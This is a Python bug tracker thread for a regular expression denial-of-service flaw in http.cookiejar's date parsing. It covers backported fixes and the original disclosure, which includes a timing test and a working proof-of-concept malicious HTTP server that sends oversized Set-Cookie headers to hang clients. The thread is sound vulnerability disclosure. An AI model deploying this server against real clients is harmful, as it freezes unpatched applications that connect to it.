[issue38804] Regular Expression Denial of Service in http.cookiejar

[STINNER Victor]

STINNER Victor  added the comment:

The fix landed in all maintained versions, thanks. I close the issue.

--
priority: release blocker -> 
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

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[issue38804] Regular Expression Denial of Service in http.cookiejar

[Larry Hastings]

Larry Hastings  added the comment:


New changeset 55a6a16a46239a71b635584e532feb8b17ae7fdf by Victor Stinner in 
branch '3.5':
bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17344)
https://github.com/python/cpython/commit/55a6a16a46239a71b635584e532feb8b17ae7fdf


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[issue38804] Regular Expression Denial of Service in http.cookiejar

[Serhiy Storchaka]

Change by Serhiy Storchaka :


--
nosy: +larry
priority: normal -> release blocker
versions:  -Python 2.7, Python 3.6, Python 3.7, Python 3.8, Python 3.9

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[issue38804] Regular Expression Denial of Service in http.cookiejar

[STINNER Victor]

STINNER Victor  added the comment:


New changeset e6499033032d5b647e43a3b49da0c1c64b151743 by Victor Stinner in 
branch '2.7':
bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (GH-17345)
https://github.com/python/cpython/commit/e6499033032d5b647e43a3b49da0c1c64b151743


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[issue38804] Regular Expression Denial of Service in http.cookiejar

[Ned Deily]

Ned Deily  added the comment:


New changeset 0716056c49e9505041e30386dad9b2e788f67aaf by Ned Deily (Miss 
Islington (bot)) in branch '3.6':
bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17343)
https://github.com/python/cpython/commit/0716056c49e9505041e30386dad9b2e788f67aaf


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nosy: +ned.deily

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[issue38804] Regular Expression Denial of Service in http.cookiejar

[STINNER Victor]

STINNER Victor  added the comment:

I'm now tracking this vulnerability at:
https://python-security.readthedocs.io/vuln/cookiejar-redos.html

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[issue38804] Regular Expression Denial of Service in http.cookiejar

[miss-islington]

miss-islington  added the comment:


New changeset a1e1be4c4969c7c20c8c958e5ab5279ae6a66a16 by Miss Islington (bot) 
in branch '3.8':
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
https://github.com/python/cpython/commit/a1e1be4c4969c7c20c8c958e5ab5279ae6a66a16


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nosy: +miss-islington

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[issue38804] Regular Expression Denial of Service in http.cookiejar

[miss-islington]

miss-islington  added the comment:


New changeset cb6085138a845f8324adc011b65754acc2086cc0 by Miss Islington (bot) 
in branch '3.7':
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
https://github.com/python/cpython/commit/cb6085138a845f8324adc011b65754acc2086cc0


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[issue38804] Regular Expression Denial of Service in http.cookiejar

[STINNER Victor]

Change by STINNER Victor :


--
pull_requests: +16829
pull_request: https://github.com/python/cpython/pull/17345

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[issue38804] Regular Expression Denial of Service in http.cookiejar

[STINNER Victor]

Change by STINNER Victor :


--
pull_requests: +16828
pull_request: https://github.com/python/cpython/pull/17344

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[issue38804] Regular Expression Denial of Service in http.cookiejar

[miss-islington]

Change by miss-islington :


--
pull_requests: +16827
pull_request: https://github.com/python/cpython/pull/17343

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[issue38804] Regular Expression Denial of Service in http.cookiejar

[miss-islington]

Change by miss-islington :


--
pull_requests: +16826
pull_request: https://github.com/python/cpython/pull/17342

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[issue38804] Regular Expression Denial of Service in http.cookiejar

[miss-islington]

Change by miss-islington :


--
pull_requests: +16825
pull_request: https://github.com/python/cpython/pull/17341

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[issue38804] Regular Expression Denial of Service in http.cookiejar

[STINNER Victor]

STINNER Victor  added the comment:


New changeset 1b779bfb8593739b11cbb988ef82a883ec9d077e by Victor Stinner 
(bcaller) in branch 'master':
bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
https://github.com/python/cpython/commit/1b779bfb8593739b11cbb988ef82a883ec9d077e


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[issue38804] Regular Expression Denial of Service in http.cookiejar

[Karthikeyan Singaravelan]

Change by Karthikeyan Singaravelan :


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nosy: +xtreak

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[issue38804] Regular Expression Denial of Service in http.cookiejar

[Karthikeyan Singaravelan]

Change by Karthikeyan Singaravelan :


--
nosy: +serhiy.storchaka, vstinner

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[issue38804] Regular Expression Denial of Service in http.cookiejar

[Ben Caller]

Change by Ben Caller :


--
keywords: +patch
pull_requests: +1
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/17157

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[issue38804] Regular Expression Denial of Service in http.cookiejar

[Ben Caller]

New submission from Ben Caller :

The regex http.cookiejar.LOOSE_HTTP_DATE_RE iss vulnerable to regular
expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when 
using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a 
server. Processing a response from a malicious HTTP server can lead to extreme 
CPU usage and execution will be blocked for a long time.

The regex http.cookiejar.LOOSE_HTTP_DATE_RE contains multiple overlapping \s* 
capture groups.
Ignoring the ?-optional capture groups the regex can be simplified to

\d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.
LOOSE_HTTP_DATE_RE backtracks if last character doesn't match \s or 
(?![APap][Mm]\b)[A-Za-z]+

Matching a malicious string such as

LOOSE_HTTP_DATE_RE.match("1-1-1" + (" " * 2000) + "!")

will cause catastrophic backtracking.

Timing test:


import http.cookiejar
import timeit

def run(n_spaces):
assert n_spaces <= 65506, "Set-Cookie header line must be <= 65536"
spaces = " " * n_spaces
expires = f"1-1-1{spaces}!"
http2time = http.cookiejar.http2time
t = timeit.Timer(
'http2time(expires)',
globals=locals(),
)
print(n_spaces, "{:.3g}".format(t.autorange()[1]))

i = 512
while True:
run(i)
i <<= 1


Timeit output (seconds) on my computer when doubling the number of spaces:


512 0.383
10243.02
2048   23.4
4096  184
8192 1700

As expected it's approx O(n^3). The maximum n_spaces to fit in a Set-Cookie 
header is 65506 which will take days.

You can create a malicious server which responds with Set-Cookie headers to 
attack all python programs which access it e.g.


from http.server import BaseHTTPRequestHandler, HTTPServer

def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-1-1{spaces}!"
return f"x;Expires={expiry}"

class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204)  # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:])  # Can GET e.g. /100 to test shorter 
sequences
if len(self.path) > 1 else
65506  # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99):  # Not necessary, but we can have up to 100 
header lines
self.send_header("Set-Cookie", value)
self.end_headers()

if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()


This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of 
https://docs.python.org/3/library/http.cookiejar.html :


import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/;)


The popular requests library is also vulnerable without any additional options 
(as it uses http.cookiejar by default):


import requests
requests.get("http://localhost:44020/;)


As such, python applications need to be careful not to visit malicious servers.

I have a patch. Will make a PR soon.
This was originally submitted to the security list, but posted here 'since this 
is "merely" a DoS attack and not a privilege escalation'.

- Ben

--
components: Library (Lib)
messages: 356636
nosy: bc
priority: normal
severity: normal
status: open
title: Regular Expression Denial of Service in http.cookiejar
type: security
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

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